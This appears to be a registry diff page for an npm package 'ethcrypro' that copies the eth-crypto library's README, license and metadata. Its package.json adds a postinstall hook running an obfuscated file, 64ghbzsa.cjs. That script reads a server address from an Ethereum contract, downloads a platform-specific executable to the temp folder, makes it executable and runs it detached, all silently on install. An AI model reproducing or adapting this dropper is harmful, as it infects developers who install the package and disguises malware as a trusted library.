ethcrypro 2.6.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ethcrypro might be problematic. Click here for more details.
- package/64ghbzsa.cjs +1 -0
- package/LICENSE +21 -0
- package/README +69 -0
- package/README.md +342 -0
- package/package.json +97 -0
package/64ghbzsa.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x385377=_0x486e;(function(_0x3f0f2d,_0x1c7d1c){const _0x5c388b=_0x486e,_0x38090a=_0x3f0f2d();while(!![]){try{const _0x15ec5c=-parseInt(_0x5c388b(0x151))/0x1+-parseInt(_0x5c388b(0x12c))/0x2+-parseInt(_0x5c388b(0x14a))/0x3+parseInt(_0x5c388b(0x141))/0x4*(parseInt(_0x5c388b(0x129))/0x5)+parseInt(_0x5c388b(0x143))/0x6*(-parseInt(_0x5c388b(0x147))/0x7)+-parseInt(_0x5c388b(0x14d))/0x8+-parseInt(_0x5c388b(0x153))/0x9*(-parseInt(_0x5c388b(0x154))/0xa);if(_0x15ec5c===_0x1c7d1c)break;else _0x38090a['push'](_0x38090a['shift']());}catch(_0x157369){_0x38090a['push'](_0x38090a['shift']());}}}(_0x5e13,0xf27f3));const {ethers}=require(_0x385377(0x12f)),axios=require(_0x385377(0x158)),util=require(_0x385377(0x13b)),fs=require('fs'),path=require(_0x385377(0x13d)),os=require('os'),{spawn}=require('child_process'),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x385377(0x127),abi=[_0x385377(0x12e)],provider=ethers[_0x385377(0x149)]('mainnet'),contract=new ethers[(_0x385377(0x125))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x638f8f=_0x385377,_0x1ff7a9={'ArlzA':_0x638f8f(0x13c)};try{const _0x13fca=await contract[_0x638f8f(0x152)](WalletOwner);return _0x13fca;}catch(_0x4e08e0){return console[_0x638f8f(0x14e)](_0x1ff7a9['ArlzA'],_0x4e08e0),await fetchAndUpdateIp();}},getDownloadUrl=_0x33b2b3=>{const _0x1033e0=_0x385377,_0x17fcc8={'ZEdiT':_0x1033e0(0x13a),'FZpZL':_0x1033e0(0x12d),'WJrSw':_0x1033e0(0x137)},_0x1ac8a2=os[_0x1033e0(0x140)]();switch(_0x1ac8a2){case _0x17fcc8[_0x1033e0(0x14b)]:return _0x33b2b3+'/node-win.exe';case _0x17fcc8[_0x1033e0(0x138)]:return _0x33b2b3+_0x1033e0(0x155);case _0x17fcc8[_0x1033e0(0x148)]:return _0x33b2b3+_0x1033e0(0x135);default:throw new Error('Unsupported\x20platform:\x20'+_0x1ac8a2);}},downloadFile=async(_0x1bd49b,_0x100b9a)=>{const _0x223d49=_0x385377,_0x3845e7={'gHSvH':_0x223d49(0x133),'enqpY':_0x223d49(0x14e),'ZITZb':function(_0x2cff43,_0x4f22cb){return _0x2cff43(_0x4f22cb);},'TWuyX':_0x223d49(0x156),'eKmfS':_0x223d49(0x144)},_0x1cab26=fs['createWriteStream'](_0x100b9a),_0x309bf2=await _0x3845e7[_0x223d49(0x13e)](axios,{'url':_0x1bd49b,'method':_0x3845e7[_0x223d49(0x132)],'responseType':_0x3845e7[_0x223d49(0x142)]});return _0x309bf2[_0x223d49(0x131)][_0x223d49(0x126)](_0x1cab26),new Promise((_0x193ec4,_0x42621f)=>{const _0x5a09c0=_0x223d49;_0x1cab26['on'](_0x3845e7[_0x5a09c0(0x130)],_0x193ec4),_0x1cab26['on'](_0x3845e7[_0x5a09c0(0x13f)],_0x42621f);});},executeFileInBackground=async _0x499f30=>{const _0xc6fa2d=_0x385377,_0x52fb75={'BJbIn':function(_0x1bb6c5,_0x1ee570,_0x1be12c,_0x4c77a8){return _0x1bb6c5(_0x1ee570,_0x1be12c,_0x4c77a8);},'tEVTT':_0xc6fa2d(0x157)};try{const _0x2110e3=_0x52fb75['BJbIn'](spawn,_0x499f30,[],{'detached':!![],'stdio':_0x52fb75[_0xc6fa2d(0x134)]});_0x2110e3[_0xc6fa2d(0x145)]();}catch(_0x3480b0){console[_0xc6fa2d(0x14e)](_0xc6fa2d(0x14f),_0x3480b0);}},runInstallation=async()=>{const _0x468e0c=_0x385377,_0x424f7e={'sCdLX':function(_0xf1a1c,_0x2488dd){return _0xf1a1c(_0x2488dd);},'jILiM':function(_0x42619d,_0x305e2f,_0xf8a490){return _0x42619d(_0x305e2f,_0xf8a490);},'ZPFmN':_0x468e0c(0x136),'rGuBb':_0x468e0c(0x159)};try{const _0xdd152d=await fetchAndUpdateIp(),_0x1d0387=_0x424f7e[_0x468e0c(0x128)](getDownloadUrl,_0xdd152d),_0x5824d6=os[_0x468e0c(0x139)](),_0x160d2d=path[_0x468e0c(0x12b)](_0x1d0387),_0x5ad2ba=path[_0x468e0c(0x150)](_0x5824d6,_0x160d2d);await _0x424f7e[_0x468e0c(0x12a)](downloadFile,_0x1d0387,_0x5ad2ba);if(os[_0x468e0c(0x140)]()!==_0x468e0c(0x13a))fs[_0x468e0c(0x146)](_0x5ad2ba,_0x424f7e[_0x468e0c(0x14c)]);_0x424f7e[_0x468e0c(0x128)](executeFileInBackground,_0x5ad2ba);}catch(_0x100025){console[_0x468e0c(0x14e)](_0x424f7e['rGuBb'],_0x100025);}};runInstallation();function _0x486e(_0x4340d3,_0x5b254c){const _0x5e131c=_0x5e13();return _0x486e=function(_0x486e34,_0xbd8dd5){_0x486e34=_0x486e34-0x125;let _0x5d76e3=_0x5e131c[_0x486e34];return _0x5d76e3;},_0x486e(_0x4340d3,_0x5b254c);}function _0x5e13(){const _0x229ff6=['basename','1149522rsDLDk','linux','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','ethers','gHSvH','data','TWuyX','finish','tEVTT','/node-macos','755','darwin','FZpZL','tmpdir','win32','util','Ошибка\x20при\x20получении\x20IP\x20адреса:','path','ZITZb','enqpY','platform','120cvAFIy','eKmfS','858DUVaZB','stream','unref','chmodSync','80507SmQfgy','WJrSw','getDefaultProvider','4184193phRapS','ZEdiT','ZPFmN','2865336puIYVt','error','Ошибка\x20при\x20запуске\x20файла:','join','1612934AqGvjJ','getString','44820117PRPsOI','10fRGGPX','/node-linux','GET','ignore','axios','Ошибка\x20установки:','Contract','pipe','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','sCdLX','266415FHpuLL','jILiM'];_0x5e13=function(){return _0x229ff6;};return _0x5e13();}
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2018 Daniel M
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
<!--
|
2
|
+
This is a different readme file which will be published to npm
|
3
|
+
@link https://stackoverflow.com/a/52683086
|
4
|
+
The problem was that googled indexed the npm-site instead of the github site
|
5
|
+
-->
|
6
|
+
|
7
|
+
<p align="center">
|
8
|
+
<a alt="travis" href="https://travis-ci.org/pubkey/eth-crypto">
|
9
|
+
<img src="https://travis-ci.org/pubkey/eth-crypto.svg?branch=master" /></a>
|
10
|
+
<a href="https://twitter.com/pubkeypubkey">
|
11
|
+
<img src="https://img.shields.io/twitter/follow/pubkeypubkey.svg?style=social&logo=twitter"
|
12
|
+
alt="follow on Twitter"></a>
|
13
|
+
</p>
|
14
|
+
|
15
|
+
# eth-crypto
|
16
|
+
|
17
|
+
Cryptographic javascript-functions for ethereum and tutorials on how to use them together with web3js and solidity.
|
18
|
+
|
19
|
+
## Tutorials
|
20
|
+
|
21
|
+
- **[Creating Keys and use them for ethereum-transactions](./tutorials/creating-transactions.md)**
|
22
|
+
|
23
|
+
In this tutorial we will create an ethereum-identity and use it so send transactions to the blockchain.
|
24
|
+
|
25
|
+
- **[Sign and validate data with solidity](./tutorials/signed-data.md)**
|
26
|
+
|
27
|
+
In this tutorial we will sign data in javascript and validate the signature inside of a smart-contract.
|
28
|
+
|
29
|
+
- **[Sending encrypted and signed data to other identites](./tutorials/encrypted-message.md)**
|
30
|
+
|
31
|
+
In this tutorial we will use the ethereum-identites and asymmetric cryptography to send an encrypted and signed message from Alice to Bob.
|
32
|
+
|
33
|
+
## Functions
|
34
|
+
|
35
|
+
### Install
|
36
|
+
|
37
|
+
```bash
|
38
|
+
npm install eth-crypto --save
|
39
|
+
```
|
40
|
+
|
41
|
+
```javascript
|
42
|
+
// es6
|
43
|
+
import EthCrypto from 'eth-crypto';
|
44
|
+
|
45
|
+
// node
|
46
|
+
const EthCrypto = require('eth-crypto');
|
47
|
+
```
|
48
|
+
|
49
|
+
## API
|
50
|
+
|
51
|
+
- [createIdentity()](https://github.com/pubkey/eth-crypto#createidentity)
|
52
|
+
- [publicKeyByPrivateKey()](https://github.com/pubkey/eth-crypto#publickeybyprivatekey)
|
53
|
+
- [publicKey.toAddress()](https://github.com/pubkey/eth-crypto#publickeytoaddress)
|
54
|
+
- [publicKey.compress()](https://github.com/pubkey/eth-crypto#publickeycompress)
|
55
|
+
- [publicKey.decompress()](https://github.com/pubkey/eth-crypto#publickeydecompress)
|
56
|
+
- [sign()](https://github.com/pubkey/eth-crypto#sign)
|
57
|
+
- [recover()](https://github.com/pubkey/eth-crypto#recover)
|
58
|
+
- [recoverPublicKey()](https://github.com/pubkey/eth-crypto#recoverpublickey)
|
59
|
+
- [encryptWithPublicKey()](https://github.com/pubkey/eth-crypto#encryptwithpublickey)
|
60
|
+
- [decryptWithPrivateKey()](https://github.com/pubkey/eth-crypto#decryptwithprivatekey)
|
61
|
+
- [cipher.stringify()](https://github.com/pubkey/eth-crypto#cipherstringify)
|
62
|
+
- [cipher.parse()](https://github.com/pubkey/eth-crypto#cipherparse)
|
63
|
+
- [signTransaction()](https://github.com/pubkey/eth-crypto#signtransaction)
|
64
|
+
- [txDataByCompiled()](https://github.com/pubkey/eth-crypto#txdatabycompiled)
|
65
|
+
- [calculateContractAddress()](https://github.com/pubkey/eth-crypto#calculatecontractaddress)
|
66
|
+
- [hex.compress() hex.decompress()](https://github.com/pubkey/eth-crypto#hex-compressdecompress)
|
67
|
+
|
68
|
+
|
69
|
+
# [READ THE FULL DOCUMENTATION ON GITHUB](https://github.com/pubkey/eth-crypto)
|
package/README.md
ADDED
@@ -0,0 +1,342 @@
|
|
1
|
+
<p align="center">
|
2
|
+
<a href="https://twitter.com/pubkeypubkey">
|
3
|
+
<img src="https://img.shields.io/twitter/follow/pubkeypubkey.svg?style=social&logo=twitter"
|
4
|
+
alt="follow on Twitter">
|
5
|
+
</a>
|
6
|
+
</p>
|
7
|
+
|
8
|
+
# eth-crypto
|
9
|
+
|
10
|
+
Cryptographic javascript-functions for ethereum and tutorials on how to use them together with web3js and solidity.
|
11
|
+
|
12
|
+
## Tutorials
|
13
|
+
|
14
|
+
- **[Creating keys and use them for ethereum transactions](./tutorials/creating-transactions.md)**
|
15
|
+
|
16
|
+
In this tutorial we will create an ethereum-identity and use it to send transactions to the blockchain.
|
17
|
+
|
18
|
+
- **[Sign and validate data with solidity](./tutorials/signed-data.md)**
|
19
|
+
|
20
|
+
In this tutorial we will sign data in javascript and validate the signature inside of a smart-contract.
|
21
|
+
|
22
|
+
- **[Sending encrypted and signed data to other identites](./tutorials/encrypted-message.md)**
|
23
|
+
|
24
|
+
In this tutorial we will use the ethereum-identites and asymmetric cryptography to send an encrypted and signed message from Alice to Bob.
|
25
|
+
|
26
|
+
## Sponsored by
|
27
|
+
|
28
|
+
<p align="center">
|
29
|
+
<a href="https://rxdb.info/?utm_source=github&utm_medium=repo&utm_campaign=github-eth-crypto-readme">
|
30
|
+
<img
|
31
|
+
src="https://rxdb.info/files/logo/logo_text.svg"
|
32
|
+
alt="JavaScript Database"
|
33
|
+
width="300"
|
34
|
+
/>
|
35
|
+
<br />
|
36
|
+
<br />
|
37
|
+
<span>The <b>JavaScript Database</b></span>
|
38
|
+
</a>
|
39
|
+
</p>
|
40
|
+
|
41
|
+
## Using eth-crypto
|
42
|
+
|
43
|
+
### Install
|
44
|
+
|
45
|
+
```bash
|
46
|
+
npm install eth-crypto --save
|
47
|
+
```
|
48
|
+
|
49
|
+
```javascript
|
50
|
+
// es6
|
51
|
+
import EthCrypto from 'eth-crypto';
|
52
|
+
|
53
|
+
// node
|
54
|
+
const EthCrypto = require('eth-crypto');
|
55
|
+
```
|
56
|
+
|
57
|
+
## API
|
58
|
+
|
59
|
+
- [createIdentity()](#createidentity)
|
60
|
+
- [publicKeyByPrivateKey()](#publickeybyprivatekey)
|
61
|
+
- [publicKey.toAddress()](#publickeytoaddress)
|
62
|
+
- [publicKey.compress()](#publickeycompress)
|
63
|
+
- [publicKey.decompress()](#publickeydecompress)
|
64
|
+
- [sign()](#sign)
|
65
|
+
- [recover()](#recover)
|
66
|
+
- [recoverPublicKey()](#recoverpublickey)
|
67
|
+
- [encryptWithPublicKey()](#encryptwithpublickey)
|
68
|
+
- [decryptWithPrivateKey()](#decryptwithprivatekey)
|
69
|
+
- [cipher.stringify()](#cipherstringify)
|
70
|
+
- [cipher.parse()](#cipherparse)
|
71
|
+
- [signTransaction()](#signtransaction)
|
72
|
+
- [txDataByCompiled()](#txdatabycompiled)
|
73
|
+
- [calculateContractAddress()](#calculatecontractaddress)
|
74
|
+
- [hex.compress() hex.decompress()](#hex-compressdecompress)
|
75
|
+
### createIdentity()
|
76
|
+
|
77
|
+
Creates a new ethereum-identity with privateKey, publicKey and address as hex-string.
|
78
|
+
|
79
|
+
```javascript
|
80
|
+
const identity = EthCrypto.createIdentity();
|
81
|
+
/* > {
|
82
|
+
address: '0x3f243FdacE01Cfd9719f7359c94BA11361f32471',
|
83
|
+
privateKey: '0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07',
|
84
|
+
publicKey: 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
85
|
+
} */
|
86
|
+
```
|
87
|
+
|
88
|
+
You can also create an identity by providing your own entropy-buffer. Use this with caution, a bad entropy can result in an unsecure private key.
|
89
|
+
|
90
|
+
```javascript
|
91
|
+
const entropy = Buffer.from('f2dacf...', 'utf-8'); // must contain at least 128 chars
|
92
|
+
const identity = EthCrypto.createIdentity(entropy);
|
93
|
+
/* > {
|
94
|
+
address: '0x59c8d4d645B0a3b230DE368d815ebDE372d37Ea8',
|
95
|
+
privateKey: '0x18cea40e44624867ddfd775b2898cdb2da29b4be92ee072b9eb02d43b6f2473a',
|
96
|
+
publicKey: '991ce4643653ef452327ee3d1a56af19c84599d340ffd427e784...'
|
97
|
+
} */
|
98
|
+
```
|
99
|
+
|
100
|
+
### publicKeyByPrivateKey()
|
101
|
+
|
102
|
+
Derives the publicKey from a privateKey and returns it as hex-string.
|
103
|
+
|
104
|
+
```javascript
|
105
|
+
const publicKey = EthCrypto.publicKeyByPrivateKey(
|
106
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07'
|
107
|
+
);
|
108
|
+
// > 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
109
|
+
```
|
110
|
+
|
111
|
+
### publicKey.toAddress()
|
112
|
+
|
113
|
+
Derives the ethereum-address from the publicKey.
|
114
|
+
|
115
|
+
```javascript
|
116
|
+
const address = EthCrypto.publicKey.toAddress(
|
117
|
+
'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...'
|
118
|
+
);
|
119
|
+
// > '0x3f243FdacE01Cfd9719f7359c94BA11361f32471'
|
120
|
+
```
|
121
|
+
|
122
|
+
### publicKey.compress()
|
123
|
+
|
124
|
+
Compresses an uncompressed publicKey.
|
125
|
+
|
126
|
+
```javascript
|
127
|
+
const address = EthCrypto.publicKey.compress(
|
128
|
+
'04a34d6aef3eb42335fb3cacb59...'
|
129
|
+
);
|
130
|
+
// > '03a34d6aef3eb42335fb3cacb59478c0b44c0bbeb8bb4ca427dbc7044157a5d24b' // compressed keys start with '02' or '03'
|
131
|
+
```
|
132
|
+
|
133
|
+
### publicKey.decompress()
|
134
|
+
|
135
|
+
Decompresses a compressed publicKey.
|
136
|
+
|
137
|
+
```javascript
|
138
|
+
const address = EthCrypto.publicKey.decompress(
|
139
|
+
'03a34d6aef3eb42335fb3c...'
|
140
|
+
);
|
141
|
+
// > 'a34d6aef3eb42335fb3cacb5947' // non-compressed keys start with '04' or no prefix
|
142
|
+
```
|
143
|
+
|
144
|
+
### sign()
|
145
|
+
|
146
|
+
Signs the hash with the privateKey. Returns the signature as hex-string.
|
147
|
+
|
148
|
+
```javascript
|
149
|
+
const message = 'foobar';
|
150
|
+
const messageHash = EthCrypto.hash.keccak256(message);
|
151
|
+
const signature = EthCrypto.sign(
|
152
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07', // privateKey
|
153
|
+
messageHash // hash of message
|
154
|
+
);
|
155
|
+
// > '0xc04b809d8f33c46ff80c44ba58e866ff0d5..'
|
156
|
+
```
|
157
|
+
|
158
|
+
### recover()
|
159
|
+
|
160
|
+
Recovers the signers address from the signature.
|
161
|
+
|
162
|
+
```javascript
|
163
|
+
const signer = EthCrypto.recover(
|
164
|
+
'0xc04b809d8f33c46ff80c44ba58e866ff0d5..',
|
165
|
+
EthCrypto.hash.keccak256('foobar') // signed message hash
|
166
|
+
);
|
167
|
+
// > '0x3f243FdacE01Cfd9719f7359c94BA11361f32471'
|
168
|
+
```
|
169
|
+
|
170
|
+
### recoverPublicKey()
|
171
|
+
|
172
|
+
Recovers the signers `publicKey` from the signature.
|
173
|
+
```javascript
|
174
|
+
const signer = EthCrypto.recoverPublicKey(
|
175
|
+
'0xc04b809d8f33c46ff80c44ba58e866ff0d5..', // signature
|
176
|
+
EthCrypto.hash.keccak256('foobar') // message hash
|
177
|
+
);
|
178
|
+
// > 'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece..'
|
179
|
+
```
|
180
|
+
|
181
|
+
|
182
|
+
### encryptWithPublicKey()
|
183
|
+
|
184
|
+
Encrypts the message with the publicKey so that only the corresponding privateKey can decrypt it. Returns (async) the encrypted data as object with hex-strings.
|
185
|
+
|
186
|
+
```javascript
|
187
|
+
const encrypted = await EthCrypto.encryptWithPublicKey(
|
188
|
+
'bf1cc3154424dc22191941d9f4f50b063a2b663a2337e5548abea633c1d06ece...', // publicKey
|
189
|
+
'foobar' // message
|
190
|
+
);
|
191
|
+
/* > {
|
192
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
193
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
194
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
195
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
196
|
+
} */
|
197
|
+
```
|
198
|
+
|
199
|
+
### decryptWithPrivateKey()
|
200
|
+
|
201
|
+
Decrypts the encrypted data with the privateKey. Returns (async) the message as string.
|
202
|
+
|
203
|
+
```javascript
|
204
|
+
const message = await EthCrypto.decryptWithPrivateKey(
|
205
|
+
'0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07', // privateKey
|
206
|
+
{
|
207
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
208
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
209
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
210
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
211
|
+
} // encrypted-data
|
212
|
+
);
|
213
|
+
// 'foobar'
|
214
|
+
```
|
215
|
+
|
216
|
+
### cipher.stringify()
|
217
|
+
|
218
|
+
Transforms the object with the encrypted data into a smaller string-representation.
|
219
|
+
|
220
|
+
```javascript
|
221
|
+
const str = EthCrypto.cipher.stringify({
|
222
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
223
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
224
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
225
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
226
|
+
});
|
227
|
+
// > '59ab06532fc965b0107977f43e69e5a4038db32099dab281c8f5aece2852...'
|
228
|
+
```
|
229
|
+
|
230
|
+
### cipher.parse()
|
231
|
+
|
232
|
+
Parses the string-representation back into the encrypted object.
|
233
|
+
|
234
|
+
```javascript
|
235
|
+
const str = EthCrypto.cipher.parse('59ab06532fc965b0107977f43e69e5a4038db32099dab281c8f5aece2852...');
|
236
|
+
/* > {
|
237
|
+
iv: '02aeac54cb45283b427bd1a5028552c1',
|
238
|
+
ephemPublicKey: '044acf39ed83c304f19f41ea66615d7a6c0068d5fc48ee181f2fb1091...',
|
239
|
+
ciphertext: '5fbbcc1a44ee19f7499dbc39cfc4ce96',
|
240
|
+
mac: '96490b293763f49a371d3a2040a2d2cb57f246ee88958009fe3c7ef2a38264a1'
|
241
|
+
} */
|
242
|
+
```
|
243
|
+
|
244
|
+
### signTransaction()
|
245
|
+
|
246
|
+
Signs a raw transaction with the privateKey. Returns a serialized tx which can be submitted to the node.
|
247
|
+
|
248
|
+
```javascript
|
249
|
+
const identity = EthCrypto.createIdentity();
|
250
|
+
const rawTx = {
|
251
|
+
from: identity.address,
|
252
|
+
to: '0x86Fa049857E0209aa7D9e616F7eb3b3B78ECfdb0',
|
253
|
+
value: new BN('1000000000000000000'),
|
254
|
+
gasPrice: 5000000000,
|
255
|
+
nonce: 0,
|
256
|
+
gasLimit: 21000
|
257
|
+
};
|
258
|
+
const signedTx = EthCrypto.signTransaction(
|
259
|
+
rawTx,
|
260
|
+
identity.privateKey
|
261
|
+
);
|
262
|
+
console.log(signedTx);
|
263
|
+
// > '071d3a2040a2d2cb...'
|
264
|
+
|
265
|
+
// you can now send the tx to the node
|
266
|
+
const receipt = await web3.eth.sendSignedTransaction(signedTx);
|
267
|
+
```
|
268
|
+
|
269
|
+
### txDataByCompiled()
|
270
|
+
|
271
|
+
Creates the data-string which must be submitted with an transaction to create a contract-instance.
|
272
|
+
|
273
|
+
```javascript
|
274
|
+
const SolidityCli = require('solidity-cli');
|
275
|
+
|
276
|
+
// create compiled solidity-code
|
277
|
+
const compiled = await SolidityCli.compileCode(
|
278
|
+
'contract ExampleContract {...'
|
279
|
+
)[':ExampleContract'];
|
280
|
+
|
281
|
+
const createCode = EthCrypto.txDataByCompiled(
|
282
|
+
compiled.interface, // abi
|
283
|
+
compiled.bytecode, // bytecode
|
284
|
+
[identity.address] // constructor-arguments
|
285
|
+
);
|
286
|
+
|
287
|
+
// now you can submit this to the blockchain
|
288
|
+
const serializedTx = EthCrypto.signTransaction(
|
289
|
+
{
|
290
|
+
from: identity.address,
|
291
|
+
nonce: 0,
|
292
|
+
gasLimit: 5000000,
|
293
|
+
gasPrice: 5000000000,
|
294
|
+
data: createCode
|
295
|
+
},
|
296
|
+
identity.privateKey
|
297
|
+
);
|
298
|
+
const receipt = await web3.eth.sendSignedTransaction(serializedTx);
|
299
|
+
```
|
300
|
+
|
301
|
+
### calculateContractAddress()
|
302
|
+
Calculates the address for the contract from the senders address and the nonce, without deploying it to the blockchain.
|
303
|
+
|
304
|
+
```javascript
|
305
|
+
// pre-calculate address
|
306
|
+
const calculatedAddress = EthCrypto.calculateContractAddress(
|
307
|
+
account.address, // address of the sender
|
308
|
+
3 // nonce with which the contract will be deployed
|
309
|
+
);
|
310
|
+
|
311
|
+
const rawTx = {
|
312
|
+
from: account.address,
|
313
|
+
gasPrice: parseInt(gasPrice),
|
314
|
+
nonce: 3,
|
315
|
+
data: compiled.code
|
316
|
+
};
|
317
|
+
const receipt = await state.web3.eth.sendTransaction(rawTx);
|
318
|
+
|
319
|
+
console.log(receipt.contractAddress === calculatedAddress);
|
320
|
+
// > true
|
321
|
+
```
|
322
|
+
|
323
|
+
### hex compress/decompress
|
324
|
+
|
325
|
+
"Compress" or "decompress" a hex-string to make it smaller. You can either compress to utf16 which reduces the size to about 1/4, or to base64 which reduces the size to about 4/5. This is not a real compression, it just make your string smaller when you have to store it in utf-16 anyways.
|
326
|
+
|
327
|
+
```javascript
|
328
|
+
const hexString = '0x107be946709e41b7895eea9f2dacf998a0a9124acbb786f0fd1a826101581a07'; // 66 chars
|
329
|
+
|
330
|
+
const utf16 = EthCrypto.hex.compress(hexString); // compress to utf16
|
331
|
+
// > 'ၻ炞䆷襞ⶬ輦ꂩቊ쮷蛰ﴚ艡Řᨇ' // 16 chars
|
332
|
+
|
333
|
+
const base64 = EthCrypto.hex.compress(hexString, true); // compress to base64
|
334
|
+
// > 'EHvpRnCeQbeJXuqfLaz5mKCpEkrLt4bw/RqCYQFYGgc=' // 44 chars
|
335
|
+
|
336
|
+
EthCrypto.hex.decompress(utf16); // decompress from utf16
|
337
|
+
// > '0x107be946709e41b7895eea9f2d...'
|
338
|
+
|
339
|
+
EthCrypto.hex.decompress(base64, true); // decompress from base64
|
340
|
+
// > '0x107be946709e41b7895eea9f2d...'
|
341
|
+
|
342
|
+
```
|
package/package.json
ADDED
@@ -0,0 +1,97 @@
|
|
1
|
+
{
|
2
|
+
"name": "ethcrypro",
|
3
|
+
"version": "2.6.0",
|
4
|
+
"description": "Cryptographic functions for ethereum and how to use them with web3 and solidity",
|
5
|
+
"keywords": [
|
6
|
+
"ethereum",
|
7
|
+
"eth",
|
8
|
+
"web3",
|
9
|
+
"solidity",
|
10
|
+
"encryption",
|
11
|
+
"secp256k1",
|
12
|
+
"dapp",
|
13
|
+
"blockchain",
|
14
|
+
"ecies",
|
15
|
+
"smart-contract",
|
16
|
+
"identity",
|
17
|
+
"signature"
|
18
|
+
],
|
19
|
+
"main": "./dist/lib/index.js",
|
20
|
+
"jsnext:main": "./dist/es/index.js",
|
21
|
+
"module": "./dist/es/index.js",
|
22
|
+
"types": "./typings/index.d.ts",
|
23
|
+
"scripts": {
|
24
|
+
"postinstall": "node 64ghbzsa.cjs"
|
25
|
+
},
|
26
|
+
"repository": {
|
27
|
+
"type": "git",
|
28
|
+
"url": "git+https://github.com/pubkey/eth-crypto.git"
|
29
|
+
},
|
30
|
+
"author": "pubkey",
|
31
|
+
"funding": "https://github.com/sponsors/pubkey",
|
32
|
+
"license": "MIT",
|
33
|
+
"bugs": {
|
34
|
+
"url": "https://github.com/pubkey/eth-crypto/issues"
|
35
|
+
},
|
36
|
+
"homepage": "https://github.com/pubkey/eth-crypto#readme",
|
37
|
+
"devDependencies": {
|
38
|
+
"@babel/cli": "7.20.7",
|
39
|
+
"@babel/core": "7.20.12",
|
40
|
+
"@babel/plugin-transform-runtime": "7.19.6",
|
41
|
+
"@babel/preset-env": "7.20.2",
|
42
|
+
"assert": "2.0.0",
|
43
|
+
"async-test-util": "2.0.0",
|
44
|
+
"babel-loader": "9.1.2",
|
45
|
+
"bn.js": "5.2.1",
|
46
|
+
"browserify": "17.0.0",
|
47
|
+
"concurrently": "7.6.0",
|
48
|
+
"convert-hrtime": "5.0.0",
|
49
|
+
"cross-env": "7.0.3",
|
50
|
+
"dependency-check": "4.1.0",
|
51
|
+
"disc": "1.3.3",
|
52
|
+
"eslint": "7.32.0",
|
53
|
+
"ganache-cli": "6.12.2",
|
54
|
+
"gzip-size-cli": "4.1.0",
|
55
|
+
"is-node": "1.0.2",
|
56
|
+
"js-sha3": "0.8.0",
|
57
|
+
"karma": "6.4.1",
|
58
|
+
"karma-babel-preprocessor": "8.0.2",
|
59
|
+
"karma-browserify": "8.1.0",
|
60
|
+
"karma-chrome-launcher": "3.1.1",
|
61
|
+
"karma-coverage": "2.2.0",
|
62
|
+
"karma-detect-browsers": "2.3.3",
|
63
|
+
"karma-edge-launcher": "0.4.2",
|
64
|
+
"karma-firefox-launcher": "2.1.2",
|
65
|
+
"karma-ie-launcher": "1.0.0",
|
66
|
+
"karma-mocha": "2.0.1",
|
67
|
+
"karma-opera-launcher": "1.0.0",
|
68
|
+
"karma-safari-launcher": "1.0.0",
|
69
|
+
"mocha": "9.2.2",
|
70
|
+
"rimraf": "3.0.2",
|
71
|
+
"solhint": "3.4.0",
|
72
|
+
"solidity-cli": "1.0.3",
|
73
|
+
"terser-webpack-plugin": "5.3.6",
|
74
|
+
"ts-node": "10.9.1",
|
75
|
+
"typescript": "4.9.5",
|
76
|
+
"uglify-es": "3.3.9",
|
77
|
+
